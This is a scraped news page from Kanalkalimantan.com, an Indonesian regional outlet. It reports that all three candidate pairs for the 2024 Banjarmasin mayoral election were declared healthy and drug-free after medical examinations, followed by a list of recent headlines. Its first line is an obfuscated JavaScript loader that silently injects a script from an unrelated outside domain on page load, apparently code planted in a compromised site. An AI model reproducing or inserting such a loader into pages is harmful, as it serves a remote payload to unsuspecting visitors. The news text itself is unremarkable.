(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tiga Paslon Pilwali Banjarmasin Dinyatakan Sehat


KANALKALIMANTAN.COM, BANJARMASIN – Hasil pemeriksaan tiga pasangan bakal calon wali kota dan wakil wal ikota Banjarmasin sudah keluar.

Baik pasangan Yamin-Ananda, Mukhyar-Awan Subarkah, maupun Arifin Noor-M Supian Akbari dinyatakan sehat.

“Semuanya sehat jasmani, rohani dan tidak terindikasi adanya penyalahgunaan narkotika,” ungkap Ketua KPU Banjarmasin Rusnailah kepada Kanalkakimantan.com, Jumat (6/9/2024).

“Sehingga semuanya mendapatkan kesimpulan mampu melaksanan tugas dan kewajiban sebagai wali kota wakil wali kota berdasarkan hasil pemeriksaan kesehatan,” sambungnya.

Baca juga: Kadisdikbud Kalsel Masih Tak Kunjung Muncul ke Publik

Sebelumnya ketiga paslon Pilwali Banjarmasin telah melaksanakan serangkaian tes kesehatan di Rumah Sakit Umum Daerah (RSUD) Ulin Banjarmasin.

Mereka diperiksa oleh tim dokter rumah sakit Ulin selama dua hari Minggu (1/9/2024) dan Senin (2/9/2024).

Pemeriksaan meliputi penyakit dalam, jantung, paru, fungsi luhur, tes narkoba, kesehatan fisik hingga pemeriksaan mata. Selain itu, juga dilakukan tes psikologi dan napza.

Diketahui, pemeriksaan kesehatan merupakan salah satu syarat yang harus dijalani setiap bakal pasangan calon kepala daerah setelah resmi mendaftar sebelum ditetapkan sebagai calon.

Persyaratan menjalani pemeriksaan kesehatan diatur dalam Keputusan KPU Nomor 1090 Tahun 2024 tentang Pedoman Teknis Pemeriksaan Kesehatan dalam Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, serta Wali Kota dan Wakil Wali Kota.

Baca juga: KPU Banjarbaru Beri Waktu 3 Hari Perbaikan Persyaratan Paslon

Tujuannya adalah untuk mengindentifikasi dan memastikan bahwa kandidat sehat secara jasmani maupun rohani sehingga mampu menjalankan tugas dan kewajibannya ketika terpilih.

Hasil pemeriksaan diserahkan oleh pihak rumah sakit kepada KPU untuk dijadikan acuan pada saat penetapan calon. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.